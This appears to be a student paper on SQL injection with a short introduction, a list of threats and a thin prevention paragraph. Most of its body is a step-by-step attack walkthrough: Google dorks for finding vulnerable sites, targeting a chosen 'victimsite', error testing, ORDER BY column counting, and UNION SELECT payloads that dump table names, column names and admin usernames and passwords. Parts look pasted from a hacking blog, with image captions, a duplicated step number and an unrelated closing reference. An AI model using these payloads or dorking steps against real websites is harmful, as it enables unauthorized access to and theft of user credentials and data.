Website Hacking using SQL Injection Method and its Prevention

*Ch.VIJAY KUMAR **K.SRINIVAS

*M.TECH Dept of CSE,VAAGDEVI ENGINEERING COLLEGE

**Asst.Prof Dept of CSE,VAAGDEVI ENGINEERING COLLEGE

Abstract:

SQL injection is a popular and frequently used attack on websites, which attackers use to steal large volumes of (client) information. Although there are other types of attacks for capturing this information, SQL injection appears to be a frequently used method.A website becomes vulnerable to SQL injection when attackers are able to influence the queries sent by a website to a database. This enables the attacker to extract information from the database or to change the contents of the database through, for example, a simple query. In this way, an SQL injection vulnerability can endanger both the integrity as well as the confidentiality of the information behind the website.

I. INTRODUCTION

The Art of exploring various security breaches is termed as Hacking. Computer Hackers have been around for so many years. Since the Internet became widely used in the World, We have started to hear more and more about hacking. Only a few Hackers, such as Kevin Mitnick, are well known. In a world of Black and White, it's easy to describe the typical Hacker. A general outline of a typical Hacker is an Antisocial, Pimple-faced

Teenage boy. But the Digital world has many types of Hackers. Hackers are human like the rest of us and are, therefore, unique individuals, so an exact profile is hard to outline. The best broad description of Hackers is that all Hackers aren't equal. Each Hacker has Motives, Methods and Skills. But some general characteristics can help you understand them. Not all Hackers are Antisocial, Pimple- faced Teenagers. Regardless, Hackers are curious about Knowing new things, Brave to take steps and they are often very Sharp Minded.

EXISTING SYSTEM:

The existence of internet and web application had changed the way businesses are carried out these days. Even without confronting or meeting each other, lots of interaction can be accomplished. Web applications are definitely different from static websites. The main contents are changed frequently in order to keep up with either the demands from user, or is meant for its features and functions.

PROPOSED SYSTEM:-

A SQL injection attack exploits vulnerabilities in a web server database that allow the attacker to gain access to the database and read, modify, or delete information. SQL Injection is a type of web application security vulnerability in which an attacker is able to submit a database SQL command which is executed by a web application, exposing the back-end database.

A SQL Injection attack can occur when a web application utilizes user-supplied data without proper validation or encoding as part of a command or query. The specially crafted user data tricks the application into executing unintended commands or changing data. SQL Injection allows an attacker to create, read, update, alter, or delete data stored in the back-end database. In its most common form, a SQL Injection attack gives access to sensitive information such as social security numbers, credit card number or other financial data. According to Vera code's State of Software Security Report SQL Injection is one of the most prevalent types of web application security vulnerability.

Input validation on the SQL Injection:

There are measures that can be applied to mitigate SQL injection attacks. Web developer can check whether some suspicious characters are sent from the Login Page like ‘, “, ;, -- , etc. . Always store the Passwords in the Database server in the Encrypted Form. Use of these practices does not guarantee that SQL injection can be completely eliminated, but they will make it more difficult for Hackers to conduct these attacks.

SQL injection is a type of web application vulnerability where an attacker can manipulate and submit a SQL command to retrieve the database information. This type of attack mostly occurs when a web application executes by using the user-provided data without validating or encoding it. It can give access to sensitive information such as social security numbers, credit card numbers, or other financial data to the attacker and allows an attacker to create, read, update, alter, or delete data stored in the backend database. It is a flaw in web applications and not a database or web server issue. Most programmers are still not aware of this threat.

SQL Injection Threats:

The following are the major threats of SQL injection:

© Spoofing identity: Identity spoofing is a method followed by attackers. Here people are deceived into believing that a particular email or website has originated from the source which actually is not true.

© Changing prices: One more of problem related to SQL injection is it can be used to modify data. Here the attackers enter into an online shopping portal and change the prices of product and then purchase the products at cheaper rates.

© Tamper with database records: The main data is completely damaged with data alteration; there is even the possibility of completely replacing the data or even deleting the data.

© Escalation of privileges: Once the system is hacked, the attacker seeks the high privileges used by administrative members and gains complete access to the system as well as the network.

© Denial-of-service on the server: Denial-of-service on the server is an attack where users aren't able to access the system. More and more requests are sent to the server, which can't handle them. This results in a temporary halt in the services of the server.

©Complete disclosure of all the data on the system: Once the network is hacked the crucial and highly confidential data like credit card numbers, employee details, financial records, etc. are disclosed.

© Destruction of data: The attacker, after gaining complete control over the system, completely destroys the data, resulting in huge losses for the company.

© Voiding system's critical transaction: An attacker can operate the system and can halt all the crucial transactions performed by the system.

SQL Injection Attacks:

SQL Injection Attacks (SQLIA’s) [6, 7] are carried out by submitting maliciously crafted inputs to database-driven applications, such as interactive web sites. These inputs are then used by applications to build dynamic SQL queries, and have the potential to alter the semantic structure of the query, due to the lack of separation of control and data in SQL. The numerous SQLIA techniques used by attackers are based on the many statement structure combinations offered by SQL, and sometimes also take advantage of additional features in specific DBMS implementations, particularly Microsoft’s SQL Server.

Now let's dive into the real procedure for the SQL Injection.

Follow my steps.

Step 1: Finding Vulnerable Website:

Our best partner for SQL injection is Google. We can find the Vulnerable websites(hackable websites) using Google Dork list. google dork is searching for vulnerable websites using the google searching tricks. There is lot of tricks to search in google. But we are going to use "inurl:" command for finding the vulnerable websites.

Some Examples:

inurl:index.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:pageid=

How to use?

copy one of the above command and paste in the google search engine box. Hit enter. You can get list of web sites. We have to visit the websites one by one for checking the vulnerability.

So Start from the first website.

Image

Note: if you like to hack particular website,then try this:

site:www.victimsite.com dork_list_commands

for eg: site:www.victimsite.com inurl:index.php?id=

Step 2: Checking the Vulnerability:

Now we should check the vulnerability of websites. In order to check the vulnerability ,add the single quotes(') at the end of the url and hit enter. (No space between the number and single quotes)

For eg: http://www.victimsite.com/index.php?id=2'

Image

If the page remains in same page or showing that page not found or showing some other webpages. Then it is not vulnerable.

If it showing any errors which is related to sql query,then it is vulnerable. Cheers..!!

For eg: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Step 3: Finding Number of columns:

Now we have found the website is vulnerable. Next step is to find the number of columns in the

table.

For that replace the single quotes(') with "order by n" statement.(leave one space between number and order by n statement) Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".

For eg:

http://www.victimsite.com/index.php?id=2 order by 1

http://www.victimsite.com/index.php?id=2 order by 2

http://www.victimsite.com/index.php?id=2 order by 3

http://www.victimsite.com/index.php?id=2 order by 4

change the number until you get the error as "unknown column"

if you get the error while trying the "x"th number,then no of column is "x-1".

I mean:

http://www.victimsite.com/index.php?id=2 order by 1(noerror)

http://www.victimsite.com/index.php?id=2 order by 2(noerror)

http://www.victimsite.com/index.php?id=2 order by 3(noerror)

http://www.victimsite.com/index.php?id=2 order by 4(noerror)

http://www.victimsite.com/index.php?id=2 order by 5(noerror)

http://www.victimsite.com/index.php?id=2 order by 6(noerror)

http://www.victimsite.com/index.php?id=2 order by 7(noerror)

http://www.victimsite.com/index.php?id=2 order by 8(error)

so now x=8 , The number of column is x-1 i.e, 7.

Sometime the above may not work. At the time add the "–" at the end of the statement.

For eg: http://www.victimsite.com/index.php?id =2 order by 1- -

Step 4: Displaying the Vulnerable columns:

Using "union select columns_sequence" we can find the vulnerable part of the table. Replace the"order by n" with this statement. And change the id value to negative(i mean id=-2,must change,but in some website may work without changing).

Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).

For eg:

if the number of columns is 7 ,then the query is as follow:

http://www.victimsite.com/index.php?id =-2 union select

1,2,3,4,5,6,7- -

If the above method is not working then try this:

http://www.victimsite.com/index.php?id =-2 and 1=2 union select

1,2,3,4,5,6,7- -

It will show some numbers in the page(it must be less than 'x' value, i mean less than or equl to number of columns).

Image

Now select 1 number. It showing 3,7. Let's take the Number 3.

Step 5: Finding version,database,user

Now replace the 3 from the query with "version()"

For eg:

http://www.victimsite.com/index.php?id =-2 and 1=2 union select

1,2,version(),4,5,6,7- -

It will show the version as 5.0.1 or 4.3. something like this.

Replace the version() with database() and user() for finding the database,user respectively.

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select

1,2,user(),4,5,6,7--

If the above is not working,then try this: http://www.victimsite.com/index.php?id=-2 and 1=2 union select

1,2,unhex(hex(@@version)),4,5,6,7--

Step 6. Finding the Table name. Here we found vulnerable Column, DB Version name and User it's time to get Table name. If the database version is 4 or above then you gave to guess the table names (Blind SQL Injection attack)

Let us find now Table name of the Database, Same here Replace Vulnerable Column number with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"

For Eg.

www.targetwebsite.com/index.php?id=-8union

select1,group_concat(table_name),3,4,5,6,7,8,9,10,11frominformation_schema.tableswheretable_schema=database()--

Now hit Enter and you can see Complete Table of Database.

(Click on Image to Enlarge it)

Great we found Table name now find the table name that is related to

admin or user. as you can see in the above image there is one table

name :- userDatabase. Let us choose that table userdatabase and Go on

Next step.

✓Step 7. Finding the Column name.

Now same to find Column names, replace "group_concat(table_name) With "group_concat(column_name)"and Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--

Note :- Do not hit Enter now.... First of all Convert table name into Mysql Char String()

After Installing you can see the toolbar, and if you can't then Hit F9.Select sql->Mysql->MysqlChar() in the Hackbar.

Enter the Table name you want to convert it into Mysql Char

Now you can see the Char like this :-

Copy and paste the code at the end of the url instead of the "mysqlchar"

For Eg.

www.targetwebsite.com/index.php?id=-8 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 FROM information_schema.columns WHERE table_name=CHAR(117, 115, 101, 114, 68, 97, 116, 97, 98, 97, 115, 101)--

And Now Hit Enter and you will be able to see the Column names like this :-

(Click on Image to Enlarge it)

Great Here we found Username and Password Column

.

Cool......! now you know the next step what to do ..... get the ID and Password of Admin user using this Command into URL.Now replace group_concat(column_name) with group_concat(username,0x2a,password). or any other Column name you want to get Data.

For Eg.

http://targetwebsite.com/index.php?id=-8 and 1=2 union select 1,group_concat(username,0x2a,password),3,4,5,6,7,8,9,10,11 from userDatabase--

APPLICATIONS:

SQL injection is Common and famous method of hacking at present . Using this method an unauthorized person can access the database of the website. Attacker can get all details from the Database.

* ByPassing Logins
* Accessing secret data
* Modifying contents of website
* Shutting down the My SQL server

✓Step 7. Explore Database & Hack it.

Conclusion:

SQL injection is only one of the vulnerabilities that could be present in a website. A safe website is therefore not only protected against this vulnerability, but also against all kinds of other vulnerabilities.

The NCSC has drawn up the "ICT Security Guidelines for Web Applications" (only available in Dutch) in order to help organisations with this.

REFERENCES:-

[1] C. Anley. Advanced SQL Injection In SQL Server Applications.
White paper, Next Generation Security Software Ltd., 2002.

[2] C. Anley. (more) Advanced SQL Injection. White paper, Next Generation Security Software Ltd., 2002.

[3] D. Aucsmith. Creating and Maintaining Software that Resists Malicious Attack. http://www.gtisc.gatech.edu/bio aucsmith.html, September 2004. Distinguished Lecture Series.

AUTHOR 1:-

* **Ch.VIJAY KUMAR** completed his B tech in Siddhartha Institutuion Of Engineering & Technology in 2013 and completed M-Tech in VAAGDEVI ENGINEERING COLLEGE

AUTHOR 2:-

****Mr.K.SRINIVAS** is working as Assistant. professor in Dept of CSE VAAGDEVI ENGINEERING COLLEGE